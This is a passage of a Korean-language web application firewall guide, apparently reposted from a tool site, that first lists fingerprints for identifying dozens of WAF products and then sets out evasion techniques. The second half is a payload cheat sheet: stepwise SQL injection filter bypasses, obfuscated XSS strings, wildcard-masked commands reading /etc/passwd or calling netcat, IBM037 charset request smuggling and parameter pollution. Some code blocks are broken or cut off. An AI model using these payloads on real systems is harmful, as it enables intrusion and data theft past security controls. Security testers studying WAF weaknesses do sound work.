  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • ASP.NET 웹사이트에서만 발견되는 방화벽.
    • 응답 페이지에 다음 텍스트 조각 중 하나가 포함됨:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • 차단된 응답 코드는 항상 500 Internal Error입니다.
RSFirewall
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 페이지에 다음이 포함됨:
      • COM_RSFIREWALL_403_FORBIDDEN 키워드.
      • COM_RSFIREWALL_EVENT 키워드.
Sabre
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 악의적인 요청 시 상태 코드 500 Internal Error 반환.
    • 응답 콘텐츠에 다음이 있음:
      • 연락처 이메일 [email protected].
      • Your request has been blocked 굵은 경고.
      • clicking the above email link will automatically add some important details to the email for us to investigate the problem 텍스트 조각.
Safe3
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 다음이 포함됨:
      • X-Powered-By 헤더의 필드 값이 Safe3WAF.
      • Server 헤더에 Safe3 Web Firewall 필드 값 설정.
    • 응답 페이지에 Safe3waf 키워드 포함.
SafeDog
  • 탐지 가능성: 쉬움/보통
  • 탐지 방법:
    • 응답의 Server 헤더에 다음이 포함될 수 있음:
      • WAF/2.0 키워드.
      • safedog 필드 값.
SecKing
  • 탐지 가능성: 쉬움/보통
  • 탐지 방법:
    • 응답의 Server 헤더에 다음이 포함될 수 있음:
      • SECKINGWAF 키워드.
      • SECKING/{version} 필드 값.
SecuPress
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 콘텐츠에 다음이 포함될 수 있음:
      • SecuPress 텍스트.
      • Block ID: Bad URL Contents 텍스트.
    • 응답 코드는 503 Service Unavailable입니다.
Secure Entry
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 Secure Entry Server 값 설정.
SecureIIS
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 페이지에 다음 텍스트 조각 중 하나가 포함됨:
      • beyondtrust 로고 이미지 표시.
      • Download SecureIIS Personal Edition
      • http://www.eeye.com/SecureIIS/ URL 참조.
      • SecureIIS Error 텍스트 조각.
SecureSphere
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 응답 페이지에 다음 텍스트 조각이 포함됨:
      • h2 텍스트에 오류.
      • 제목에 Error 텍스트만 포함.
      • Contact support for additional information. 텍스트.
SEnginx
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 SENGINX-ROBOT-MITIGATION 키워드 포함.
ServerDefender VP
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답에 X-Pint 헤더 필드가 포함되며 p80 키워드가 있음.
Shadow Daemon
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 페이지에 request forbidden by administrative rules. 키워드 포함.
ShieldSecurity
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함됨:
      • You were blocked by the Shield. 텍스트.
      • Something in the URL, Form or Cookie data wasn't appropriate 텍스트 조각.
      • Warning: You have {number} remaining transgression(s) against this site.
      • Seriously stop repeating what you are doing or you will be locked out.
SiteGround
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 페이지에
      The page you are trying to access is restricted due to a security rule 텍스트 조각 포함.
SiteGuard (JP Secure)
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 응답 페이지에 다음이 포함됨:
      • Powered by SiteGuard 텍스트 조각.
      • The server refuse to browse the page. 텍스트 조각.
      • The URL may not be correct. Please confirm the value.
SiteLock TrueShield
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지 소스에 다음이 포함됨:
      • www.sitelock.com URL 참조.
      • Sitelock is leader in Business Website Security Services. 텍스트.
      • sitelock-site-verification 키워드.
      • sitelock_shield_logo 이미지.
SonicWall
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 SonicWALL 키워드 값 포함.
    • 차단된 응답 페이지에 다음 텍스트 조각 중 하나가 포함됨:
      • Dell 로고 이미지 표시.
      • This request is blocked by the SonicWALL.
      • Web Site Blocked 텍스트 조각.
      • nsa_banner 키워드. :p
Sophos UTM
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 Powered by UTM Web Protection 키워드 포함.
SquareSpace
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 악의적인 요청 시 응답 코드가 404 Not Found로 반환됨.
    • 차단된 응답 페이지에 다음 텍스트 조각 중 하나가 포함됨:
      • BRICK-50 키워드.
      • 404 Not Found 텍스트 조각.
SquidProxy IDS
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 squid/{version} 필드 값 포함.
    • 차단된 응답 페이지에
      Access control configuration prevents your request from being allowed at this time. 포함.
StackPath
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • StackPath 로고 이미지 포함.
    • 차단된 응답 페이지에
      You performed an action that triggered the service and blocked your request 포함.
Stingray
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 차단된 응답 코드가 403 Forbidden 또는 500 Internal Error를 반환합니다.
    • 응답 헤더에 X-Mapping 헤더 필드 이름 포함.
Sucuri CloudProxy
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 Sucuri 또는 Cloudproxy 키워드가 포함될 수 있음.
    • 차단된 응답 페이지에 다음 텍스트 조각이 포함됨:
      • Access Denied - Sucuri Website Firewall 텍스트.
      • https://sucuri.net/privacy-policy URL 참조.
      • 때때로 이메일 [email protected].
      • 저작권 표시 ;copy {year} Sucuri Inc 포함.
    • 응답 헤더에 일반 요청과 함께 X-Sucuri-ID 헤더 포함.
Synology Cloud
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 Copyright (c) 2019 Synology Inc. All rights reserved. 텍스트가 있음.
Tencent Cloud
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 차단된 응답 코드가 405 Method Not Allowed 오류를 반환합니다.
    • 차단된 응답 페이지에 waf.tencent-cloud.com URL 참조.
Teros
  • 탐지 가능성: 어려움
  • 탐지 방법:
    • 응답 헤더에 쿠키 필드 st8id 포함.
TrafficShield
  • 탐지 가능성: 보통
  • 탐지 방법:
    • Server에 F5-TrafficShield 키워드가 포함될 수 있음.
    • 응답 쿠키에서 ASINFO= 값이 감지될 수 있음.
TransIP
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 고유 헤더 X-TransIP-Backend 포함.
    • 응답 헤더에 또 다른 헤더 X-TransIP-Balancer 포함.
UCloud UEWaf
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 콘텐츠에 다음이 포함될 수 있음:
      • /uewaf_deny_pages/default/img/ inurl 디렉토리 참조.
      • ucloud.cn URL.
    • 반환된 응답 헤더의 Server가 uewaf/{version}으로 설정됨.
URLMaster SecurityCheck
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 헤더에 다음이 포함될 수 있음:
      • UrlMaster 키워드.
      • UrlRewriteModule 키워드.
      • SecurityCheck 키워드.
    • 차단된 응답 코드는 400 Bad Request 텍스트 조각입니다.
URLScan
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 차단된 응답 페이지에 다음이 포함됨:
      • Rejected-by-URLScan 텍스트 조각.
      • Server Erro in Application 제목.
      • 테이블에 Module: IIS Web Core.
USP Secure Entry
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 헤더에 Secure Entry Server 필드 값 포함.
Varnish (OWASP)
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 악의적인 요청이 404 Not Found 오류를 반환합니다.
    • 응답 페이지에 다음이 포함됨:
      • Request rejected by xVarnish-WAF 텍스트 조각.
Varnish CacheWall
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 페이지에 다음이 포함됨:
      • Error 403 Naughty, not Nice! 제목.
      • Varnish cache Server 텍스트.
Viettel
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 페이지에 다음이 포함됨:
      • 차단 페이지 제목이 Access denied · Viettel WAF으로 설정됨.
      • https://cloudrity.com.vn/ URL 참조.
      • 응답 페이지에 Viettel WAF system 키워드 포함.
      • https://cloudrity.com.vn/customer/#/contact URL 연락처 정보 참조.
VirusDie
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 페이지에 다음이 포함됨:
      • http://cdn.virusdie.ru/splash/firewallstop.png 그림.
      • copy; Virusdie.ru

        저작권 표시.
      • 응답 페이지 제목에 Virusdie 키워드 포함.
      • 페이지 메타데이터에 name="FW_BLOCK" 키워드 포함.
WallArm
  • 탐지 가능성: 보통
  • 탐지 방법:
    • Server 헤더에 nginx-wallarm 값 포함.
WatchGuard IPS
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 WatchGuard 필드 값이 포함될 수 있음.
    • 차단된 응답 페이지에 다음이 포함됨:
      • Request denied by WatchGuard Firewall 텍스트.
      • WatchGuard Technologies Inc. 바닥글.
WebARX Security
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 특히 WordPress 사이트로 제한됨.
    • 차단된 응답 페이지에 다음이 포함됨:
      • This request has been blocked by WebARX Web Application Firewall 텍스트.
      • 설치된 디렉토리 /wp-content/plugins/webarx/ 참조.
WebKnight
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 WebKnight 키워드 포함.
    • 차단된 응답 페이지에 다음이 포함됨:
      • WebKnight Application Firewall Alert 텍스트 경고.
      • AQTRONIX WebKnight 텍스트 조각.
    • 차단된 응답 코드는 999 No Hacking입니다. :p
    • 차단된 응답 코드는 404 Hack Not Found이기도 합니다. :p
WebLand
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 Apache Protected By WebLand WAF 키워드 포함.
WebRay
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 WebRay-WAF 키워드 포함.
    • 응답 헤더에 DrivedBy 필드가 있을 수 있으며 값은 RaySrv RayEng/{version}입니다.
WebSEAL
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 WebSEAL 키워드 포함.
    • 차단된 응답 페이지에 다음이 포함됨:
      • This is a WebSEAL error message template file 텍스트.
      • WebSEAL server received an invalid HTTP request 텍스트 조각.
WebTotem
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 The current request was blocked by WebTotem 포함.
West263CDN
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 X-Cache 헤더 필드가 포함되며 값은 WT263CDN입니다.
Wordfence
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 WebKnight 키워드 포함.
    • 차단된 응답 페이지에 다음이 포함됨:
      • Generated by Wordfence 텍스트 조각.
      • A potentially unsafe operation has been detected in your request to this site 텍스트 경고.
      • Your access to this site has been limited 텍스트 경고.
      • This response was generated by Wordfence 텍스트 조각.
WTS-WAF
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지 제목에 WTS-WAF 키워드.
    • Server 헤더에 wts 값 포함.
XLabs Security WAF
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답 헤더에 X-CDN 헤더 필드가 포함되며 값은 XLabs Security입니다.
Xuanwudun WAF
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ 사이트 URL 참조.
Yunaq Chuangyu
  • 탐지 가능성: 보통
  • 탐지 방법:
    • 응답 페이지에 다음 참조가 있음:
      • 365cyd.com 또는 365cyd.net URL.
      • http://help.365cyd.com/cyd-error-help.html?code=403 도움말 페이지 참조.
Yundun
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더에 YUNDUN 값 포함.
    • X-Cache 헤더 필드에 YUNDUN 값 포함.
    • 응답 페이지에 Blocked by YUNDUN Cloud WAF 텍스트 조각 포함.
    • 차단된 응답 페이지에 yundun.com/yd_http_error/ URL 참조.
Yunsuo
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 이미지 클래스 참조 yunsuologo 포함.
    • 응답 헤더에 yunsuo_session 필드 이름 포함.
YxLink
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 응답에 yx_ci_session 쿠키 필드가 있을 수 있음.
    • 응답에 yx_language 쿠키 필드가 있을 수 있음.
    • Server 헤더에 Yxlink-WAF 필드 값 포함.
ZenEdge
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • 차단된 응답 페이지에 /__zenedge/assets/ 디렉토리 참조.
    • Server 헤더에 ZENEDGE 키워드 포함.
    • 차단된 응답 헤더에 X-Zen-Fury 헤더가 포함될 수 있음.
ZScaler
  • 탐지 가능성: 쉬움
  • 탐지 방법:
    • Server 헤더 값이 ZScaler로 설정됨.
    • 차단된 응답 페이지에 다음이 포함됨:
      • Access Denied: Accenture Policy 텍스트.
      • https://policies.accenture.com URL 참조.
      • https://login.zscloud.net/img_logo_new1.png 이미지 참조.
      • Your organization has selected Zscaler to protect you from internet threats.
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.

퍼징/무차별 대입:

방법:

URL/엔드포인트에 대해 페이로드 세트를 실행합니다. 몇 가지 좋은 퍼징 워드리스트:

  • 퍼징 전용 워드리스트
    • Seclists/Fuzzing.
    • Fuzz-DB/Attack
    • 기타 페이로드

기술:

  • 퍼저에 워드리스트를 로드하고 무차별 대입을 시작합니다.
  • 퍼징된 다양한 페이로드의 모든 응답을 기록/로깅합니다.
  • Chrome Desktop부터 iPhone 브라우저까지 다양한 무작위 사용자 에이전트를 사용합니다.
  • 차단이 감지되면 퍼징 지연 시간을 늘립니다(예: 2~4초).
  • IP가 차단될 가능성이 높으므로 항상 proxychains를 사용합니다.

단점:

  • 이 방법은 종종 실패합니다.
  • IP가 (일시적/영구적으로) 차단되는 경우가 많습니다.

정규식 역공학:

방법:

  • WAF를 우회하는 가장 효율적인 방법입니다.
  • 일부 WAF는 데이터베이스의 시그니처와 공격 페이로드를 일치시키는 데 의존합니다.
  • 페이로드가 정규식과 일치하면 WAF가 경보를 트리거합니다.

기술:

블랙리스트 탐지/우회

  • 이 방법에서는 블랙리스트에 등록된 키워드를 관찰하여 규칙을 단계별로 지문화하려고 시도합니다.
  • 핵심은 정규식을 추측하고 블랙리스트에 등록된 키워드를 사용하지 않는 다음 페이로드를 제작하는 것입니다.

케이스: SQL 인젝션

• 1단계:

필터링된 키워드: and, or, union
예상 정규식: preg_match('/(and|or|union)/i', $id)

  • 차단된 시도: union select user, password from users
  • 우회된 인젝션: 1 || (select user from users where user_id = 1) = 'admin'
• 2단계:

필터링된 키워드: and, or, union, where

  • 차단된 시도: 1 || (select user from users where user_id = 1) = 'admin'
  • 우회된 인젝션: 1 || (select user from users limit 1) = 'admin'
• 3단계:

필터링된 키워드: and, or, union, where, limit

  • 차단된 시도: 1 || (select user from users limit 1) = 'admin'
  • 우회된 인젝션: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• 4단계:

필터링된 키워드: and, or, union, where, limit, group by

  • 차단된 시도: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • 우회된 인젝션: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• 5단계:

필터링된 키워드: and, or, union, where, limit, group by, select

  • 차단된 시도: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • 우회된 인젝션: 1 || 1 = 1 into outfile 'result.txt'
  • 우회된 인젝션: 1 || substr(user,1,1) = 'a'
• 6단계:

필터링된 키워드: and, or, union, where, limit, group by, select, '

  • 차단된 시도: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • 우회된 인젝션: 1 || user_id is not null
  • 우회된 인젝션: 1 || substr(user,1,1) = 0x61
  • 우회된 인젝션: 1 || substr(user,1,1) = unhex(61)
• 7단계:

필터링된 키워드: and, or, union, where, limit, group by, select, ', hex

  • 차단된 시도: 1 || substr(user,1,1) = unhex(61)
  • 우회된 인젝션: 1 || substr(user,1,1) = lower(conv(11,10,36))
• 8단계:

필터링된 키워드: and, or, union, where, limit, group by, select, ', hex, substr

  • 차단된 시도: 1 || substr(user,1,1) = lower(conv(11,10,36))
  • 우회된 인젝션: 1 || lpad(user,7,1)
• 9단계:

필터링된 키워드: and, or, union, where, limit, group by, select, ', hex, substr, 공백

  • 차단된 시도: 1 || lpad(user,7,1)
  • 우회된 인젝션: 1%0b||%0blpad(user,7,1)

난독화:

방법:

  • 페이로드를 다양한 인코딩으로 인코딩(시행착오 방식).
  • 전체 페이로드를 인코딩하거나 일부 부분만 인코딩하여 재귀적으로 테스트할 수 있습니다.

기술:

1. 대소문자 전환

  • 일부 제대로 개발되지 않은 WAF는 특정 대소문자 WAF만 선택적으로 필터링합니다.
  • 효율적인 페이로드를 개발하기 위해 대문자와 소문자를 조합할 수 있습니다.

표준: <script>alert()</script>
우회됨: <ScRipT>alert()</sCRipT>

표준: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
우회됨: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL 인코딩

  • 일반 페이로드를 % 인코딩/URL 인코딩을 사용하여 인코딩합니다.
  • 이와 같은 온라인 도구를 사용하여 수행할 수 있습니다.
  • Burp에는 내장 인코더/디코더가 포함되어 있습니다.

차단됨: <svG/x=">"/oNloaD=confirm()//
우회됨: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

차단됨: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
우회됨: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. 유니코드 정규화

  • 유니코드 인코딩의 ASCII 문자는 우회를 위한 다양한 변형을 제공합니다.
  • 결과를 얻기 위해 페이로드 전체/일부를 인코딩할 수 있습니다.

표준: <marquee onstart=prompt()>
난독화됨: <marquee onstart=\u0070r\u06f\u006dpt()>

차단됨: /?redir=http://google.com
우회됨: /?redir=http://google。com (유니코드 대체)

차단됨: <marquee loop=1 onfinish=alert()>x
우회됨: <marquee loop=1 onfinish=alert︵1)>x (유니코드 대체)

팁: HackerOne의 이 및 이 보고서를 확인해보세요. :)

표준: ../../etc/passwd
난독화됨: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML 표현

  • 종종 웹 애플리케이션은 특수 문자를 HTML 인코딩으로 인코딩하고 그에 따라 렌더링합니다.
  • 이는 HTML 인코딩(숫자/일반)을 사용한 기본 우회 사례로 이어집니다.

표준: ">
인코딩됨: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (일반 형태)
인코딩됨: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (숫자 참조)

5. 혼합 인코딩

  • 때때로 WAF 규칙은 특정 유형의 인코딩을 필터링하는 경향이 있습니다.
  • 이러한 유형의 필터는 혼합 인코딩 페이로드로 우회될 수 있습니다.
  • 탭과 개행 문자는 난독화를 더욱 강화합니다.

난독화됨:``` XSS

root@kitploit:~
__6. 주석 사용하기__
- 주석은 표준 페이로드 벡터를 난독화합니다.
- 각 페이로드마다 다른 난독화 방법이 있습니다.

__차단됨__: `<script>alert()</script>`  
__우회됨__: `<!--><script>alert/**/()/**/</script>`

__차단됨__: `/?id=1+union+select+1,2,3--`  
__우회됨__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`

__7. 이중 인코딩__
- WAF 필터는 종종 공격을 방지하기 위해 문자를 인코딩하는 경향이 있습니다.
- 그러나 제대로 개발되지 않은 필터(재귀 필터 없음)는 이중 인코딩으로 우회할 수 있습니다.

__표준__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`  
__난독화됨__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`

__표준__: `<script>alert()</script>`  
__난독화됨__: `%253Cscript%253Ealert()%253C%252Fscript%253E`

__8. 와일드카드 난독화__
- 글롭(glob) 패턴은 여러 파일을 처리하기 위해 다양한 명령줄 유틸리티에서 사용됩니다.
- 이를 조작하여 시스템 명령을 실행할 수 있습니다.
- 리눅스 시스템의 원격 코드 실행 취약점에 특화되어 있습니다.

__표준__: `/bin/cat /etc/passwd`  
__난독화됨__: `/???/??t /???/??ss??`  
사용된 문자: `/ ? t s`

__표준__: `/bin/nc 127.0.0.1 1337`  
__난독화됨__: `/???/n? 2130706433 1337`  
사용된 문자: `/ ? n [0-9]`

__9. 동적 페이로드 생성__
- 각 프로그래밍 언어는 연결(concatenation)에 대한 다양한 구문과 패턴을 가지고 있습니다.
- 이를 통해 많은 필터와 규칙을 우회할 수 있는 페이로드를 효과적으로 생성할 수 있습니다.

__표준__: `<script>alert()</script>`  
__난독화됨__: `<script>eval('al'+'er'+'t()')</script>`

__표준__: `/bin/cat /etc/passwd`  
__난독화됨__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash는 실행을 위해 경로 연결을 허용합니다.

__표준__: ``  
__난독화됨__:```

13. 토큰 차단기

  • 토크나이저에 대한 공격은 토큰 차단기를 사용하여 요청을 토큰으로 분할하는 논리를 깨뜨리려고 시도합니다.

  • 토큰 차단기는 문자열의 요소와 특정 토큰 간의 대응 관계에 영향을 주어 서명 검색을 우회할 수 있는 기호입니다.

  • 그러나 토큰 차단기를 사용하는 동안 요청은 여전히 유효해야 합니다.

  • 사례: 토크나이저에 알려지지 않은 토큰

    • 페이로드: ?id=‘-sqlite_version() UNION SELECT password FROM users --
  • 사례: 파서에 알려지지 않은 컨텍스트 (괄호가 컨텍스트에 포함되지 않음)

    • 페이로드 1: ?id=123);DROP TABLE users --
    • 페이로드 2: ?id=1337) INTO OUTFILE ‘xxx’ --

팁: 더 많은 페이로드는 이 치트 시트를 통해 제작할 수 있습니다.

14. 다른 형식의 난독화

  • 많은 웹 애플리케이션은 다양한 인코딩 유형을 지원하며 인코딩을 해석할 수 있습니다 (아래 참조).
  • WAF에서 지원하지 않지만 서버가 해석할 수 있는 형식으로 페이로드를 난독화하여 페이로드를 밀반입할 수 있습니다.

사례: IIS

  • IIS6, 7.5, 8, 10 (ASPX v4.x)은 IBM037 문자 해석을 허용합니다.
  • 페이로드를 인코딩하여 인코딩된 매개변수를 쿼리와 함께 보낼 수 있습니다.

원래 요청:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

root@kitploit:~
난독화된 요청 + URL 인코딩:```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

다음 표는 테스트된 시스템에서 서로 다른 문자 인코딩의 지원을 보여줍니다 (메시지를 인코딩으로 난독화할 수 있는 경우):

TIP: 이 작은 파이썬 스크립트를 사용하여 페이로드와 매개변수를 원하는 인코딩으로 변환할 수 있습니다.

대상인코딩비고
Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273
  • 쿼리 문자열과 본문을 인코딩해야 합니다.
  • 쿼리 문자열과 본문의 매개변수는 URL 디코딩됩니다.
  • 등호와 앰퍼샌드도 인코딩되어야 합니다(URL 인코딩 없음).
Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
  • 쿼리 문자열과 본문을 인코딩해야 합니다.
  • 이후 쿼리 문자열과 본문의 매개변수는 URL 디코딩됩니다.
  • 등호와 앰퍼샌드는 어떤 방식으로도 인코딩되지 않아야 합니다.
Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • 쿼리 문자열은 원래 형식 그대로 (평소처럼 URL 인코딩 가능).
  • 본문은 URL 인코딩 여부와 관계없이 전송 가능.
  • 등호와 앰퍼샌드는 어떤 방식으로도 인코딩되지 않아야 합니다.
Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • 쿼리 문자열은 원래 형식 그대로 (평소처럼 URL 인코딩 가능).
  • 본문은 URL 인코딩 여부와 관계없이 전송 가능.
  • 등호와 앰퍼샌드는 어떤 방식으로도 인코딩되지 않아야 합니다.
IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025
  • 쿼리 문자열은 원래 형식 그대로 (평소처럼 URL 인코딩 가능).
  • 본문은 URL 인코딩 여부와 관계없이 전송 가능.
  • 등호와 앰퍼샌드는 어떤 방식으로도 인코딩되지 않아야 합니다.

HTTP 매개변수 오염

방법:

  • 이 공격 방식은 서버가 동일한 이름을 가진 매개변수를 해석하는 방식에 기반합니다.
  • 다음과 같은 우회 가능성이 있습니다:
    • 서버가 마지막으로 받은 매개변수를 사용하고, WAF는 첫 번째만 검사하는 경우.
    • 서버가 동일한 매개변수의 값을 결합하고, WAF가 각각을 별도로 검사하는 경우.

기법:

  • 서버가 매개변수를 어떻게 해석하는지 열거하는 것이 핵심입니다.
  • 이러한 경우 WAF가 검사하지 않는 매개변수에 페이로드를 전달할 수 있습니다.
  • 서버가 나중에 결합할 수 있도록 매개변수에 페이로드를 분산시키는 것도 유용합니다.

다음은 다양한 서버와 그에 따른 해석 비교입니다:

환경매개변수 해석예시
ASP/IIS쉼표로 연결par1=val1,val2
JSP, Servlet/Apache Tomcat첫 번째 매개변수 사용par1=val1
ASP.NET/IIS쉼표로 연결par1=val1,val2
PHP/Zeus마지막 매개변수 사용par1=val2
PHP/Apache마지막 매개변수 사용par1=val2
JSP, Servlet/Jetty첫 번째 매개변수 사용par1=val1
IBM Lotus Domino첫 번째 매개변수 사용par1=val1
IBM HTTP Server마지막 매개변수 사용par1=val2
mod_perl, libapeq2/Apache첫 번째 매개변수 사용par1=val1
Oracle Application Server 10G첫 번째 매개변수 사용par1=val1
Perl CGI/Apache첫 번째 매개변수 사용par1=val1
Python/Zope첫 번째 매개변수 사용par1=val1
IceWarp배열 반환['val1','val2']
AXIS 2400마지막 매개변수 사용par1=val2
DBMan물결표 두 개로 연결par1=val1~~val2
mod-wsgi (Python)/Apache배열 반환ARRAY(0x8b9058c)

HTTP 매개변수 분할

  • HPF는 서버가 매개변수를 통해 전달된 값을 결합하는 원칙에 기반합니다.
  • 페이로드를 여러 구성 요소로 분할한 후 매개변수를 통해 값을 전달할 수 있습니다.

샘플 페이로드: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
샘플 쿼리 URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

TIP: 이 방법을 사용하여 우회 방법을 만들 수 있는 실제 예는 여기에서 확인할 수 있습니다.

브라우저 버그:

문자셋 버그:

  • charset 헤더를 더 높은 유니코드(예: UTF-32)로 변경하고 페이로드를 테스트할 수 있습니다.
  • 사이트가 문자열을 디코딩할 때 페이로드가 트리거됩니다.

예시 요청:

root@kitploit:~
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

사이트가 로드되면 설정한 UTF-32 인코딩으로 인코딩되고, 페이지의 출력 인코딩이 UTF-8이므로 "<script>alert (1) </ script>"로 렌더링되어 XSS가 트리거됩니다.

최종 URL 인코딩된 페이로드:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

root@kitploit:~
#### Null Bytes:
- Null Bytes는 일반적으로 문자열 종결자로 사용됩니다.
- 이것은 Null Bytes를 필터링하지 않는 경우 많은 웹 애플리케이션 필터를 우회하는 데 도움이 될 수 있습니다.

Payload examples:```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>

파싱 버그:

  • RFC는 NodeNames가 공백으로 시작할 수 없다고 명시합니다.
